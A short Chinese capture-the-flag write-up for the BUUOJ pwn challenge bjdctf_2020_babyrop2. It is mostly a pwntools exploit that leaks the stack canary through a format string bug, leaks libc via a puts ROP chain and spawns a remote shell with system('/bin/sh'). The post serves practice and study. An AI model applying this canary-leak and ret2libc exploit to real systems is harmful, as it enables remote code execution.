bjdctf_2020_babyrop2

bjdctf_2020_babyrop2

1.ida分析

 

 有个字符串格式化漏洞,应该是利用这个漏洞泄露出canary的值。

 

 存在栈溢出漏洞。

2.checksec

 

 3.解决

exp参考:https://blog.csdn.net/qq_44768749/article/details/108248798

from pwn import *
from LibcSearcher import *
context.log_level='debug'


p=remote('node4.buuoj.cn',25138)
#p=process('./easyheap')
#p=process(["/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so",'./easyheap'],env={"LD_PRELOAD":"/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so"})
elf=ELF('bjdctf_2020_babyrop2')
puts_plt=elf.plt['puts']
read_got=elf.got['read']
vuln=0x400887
pop_rdi=0x400993

py='%7$p'
p.sendlineafter('help u!\n',py)
can=int(p.recvuntil('\n',drop=True),16)
print hex(can)

py='a'*24+p64(can)+p64(0)+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(vuln)
p.sendlineafter('story!\n',py)

addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\0'))
libc=LibcSearcher('read',addr)
base=addr-libc.dump('read')
system=base+libc.dump('system')
bin_sh=base+libc.dump('str_bin_sh')

py='a'*24+p64(can)+p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.sendlineafter('story!\n',py)
p.interactive()

 

这个题目的重点就是如何泄露canaey,恰巧现在我对字符串格式化漏洞还是不明白,只能先参考一下的了。

利用pwngdb的功能获取canary的偏移

 

posted @ 2021-07-21 16:30  mio_yy  阅读(215)  评论(0)    收藏  举报